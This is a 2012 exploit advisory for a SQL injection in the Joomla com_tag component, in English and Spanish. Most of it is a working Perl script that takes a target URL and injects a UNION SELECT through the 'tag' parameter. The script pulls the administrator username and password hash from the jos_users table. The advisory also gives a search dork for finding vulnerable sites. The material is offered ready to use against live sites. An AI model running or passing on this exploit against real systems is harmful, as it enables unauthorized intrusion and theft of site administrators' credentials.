Joomla! Component com_tag - 'tag' SQL Injection

 Exploit Title: Joomla tag Remote Sql Exploit

 dork: inurl:index.php?option=com_tag

 Date: [18-10-2012]

 Author: Daniel Barragan "D4NB4R"

 Twitter: @D4NB4R

 Vendor: http://www.joomlatags.org

 Version: all

 License: Non-Commercial

 Download: http://www.joomlatags.org/joomla-tag/joomla-tag-download.html

 Tested on: [Linux(bt5)-Windows(7ultimate)]

 Especial greetz:  Pilot, _84kur10_, nav, dedalo, devboot, ksha, shine, p0fk, the_s41nt


Descripcion:

N/A

Exploit:


    #!/usr/bin/perl -w
    # Joomla Component (tag) Remote SQL Exploit
    #----------------------------------------------------------------------------#

    ########################################
    print "\t\t\n\n";
print "\t\n";
print "\t            Daniel Barragan  D4NB4R                \n";
print "\t                                                   \n";
print "\t      Joomla com_tag Remote Sql Exploit \n";
print "\t\n\n";

use LWP::UserAgent;
print "\nIngrese el Sitio:[http://wwww.site.com/path/]: ";

chomp(my $target=<STDIN>);

    #the username of  joomla
    $user="username";
    #the pasword of  joomla
    $pass="password";
    #the tables of joomla
    $table="jos_users";
    $d4n="com_tag&task";
    $component="tag&lang=es";

    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

    $host = $target ."index.php?option=".$d4n."=".$component."&tag=999999.9' union all select 1,concat(0x3c757365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;

    if ($answer =~ /<user>(.*?)<user>/){
            print "\nLos Datos Extraidos son:\n";
      print "\n

* Admin User : $1";

    }

    if ($answer =~/<pass>(.*?)<pass>/){print "\n

* Admin Hash : $1\n\n";

    print "\t\t#   El Exploit aporto usuario y password   #\n\n";}
    else{print "\n[-] Exploit Failed, Intente manualmente...\n";}



_____________________________________________________
Daniel Barragan "D4NB4R" 2012